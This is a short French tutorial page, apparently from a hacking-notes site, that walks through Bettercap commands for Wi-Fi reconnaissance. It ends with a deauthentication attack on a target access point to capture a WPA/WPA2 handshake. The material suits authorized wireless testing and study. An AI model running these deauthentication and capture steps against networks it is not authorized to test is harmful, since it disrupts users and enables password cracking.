> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md).

# Processus d’attaque Bettercap

Flux de travail Bettercap de base pour la reconnaissance et les tests Wi-Fi.

Bettercap est un binaire compilé. Le flux de travail suivant montre son processus d’attaque Wi‑Fi de base.

{% embed url="<https://github.com/bettercap/bettercap>" %}

### Démarrer Bettercap

Démarrez Bettercap avec l’interface en mode moniteur :

```bash
./bettercap -iface wlan0mon
```

### Démarrer la reconnaissance

Une fois dans Bettercap, activez la reconnaissance Wi‑Fi :

```bash
wifi.recon on
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FILOvqjoOFPj7o6Gf4ztv%2F%7B09A4B14D-C803-4FF4-A5F9-62A2479C23CE%7D.png?alt=media&amp;token=8c026d53-5bb6-4099-9bbf-fb4703fda24c" alt=""><figcaption></figcaption></figure>

### Trier les clients

Triez les clients détectés par ordre décroissant :

```bash
set wifi.show.sort clients desc
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqayRbT94OMxK3At2iEob%2F%7B07B837DB-2EC1-4BBA-A66A-1DFC0EE29FCA%7D.png?alt=media&amp;token=c4d3f0ce-4295-4c74-8a9e-f0d72e14134b" alt=""><figcaption></figcaption></figure>

### Configurer le ticker

Configurez un ticker pour actualiser les informations à l’écran :

```bash
set ticker.commands 'clear; wifi.show'
ticker on
```

Cela affiche les informations détectées dans une vue continuellement actualisée.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5EUE6Vw1xLuGXKj7hc5A%2F%7B0DE62A07-B4F7-47B1-AE0B-93F50B8658C1%7D.png?alt=media&amp;token=53aa3784-de72-4e0e-a5e0-22110410a5dd" alt=""><figcaption></figcaption></figure>

### Filtrer par canal

Filtrez la reconnaissance sur le canal d’intérêt :

```bash
wifi.recon.channel 1
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVKa1If9TFKemG5jeN3mj%2F%7BD63FAF2B-C109-4878-8646-48814D9EB114%7D.png?alt=media&amp;token=c5de7725-7769-4b79-9cd4-4940e8851d86" alt=""><figcaption></figcaption></figure>

### Lancer une attaque de désauthentification

Pour lancer une attaque de désauthentification contre un point d’accès :

```bash
wifi.deauth <AP_BSSID>
```

Remplacez `<AP_BSSID>` avec le BSSID du point d’accès cible.

Le handshake est enregistré à :

```
/root/bettercap-wifi-handshakes.pcap
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fewi6eQSBexXH5wHUAaKx%2F%7B5FF3F4A3-081A-4BA0-8A63-0CBAD396BFBF%7D.png?alt=media&amp;token=fc33cdf7-e494-4840-b46a-1fb34f2f0236" alt=""><figcaption></figcaption></figure>


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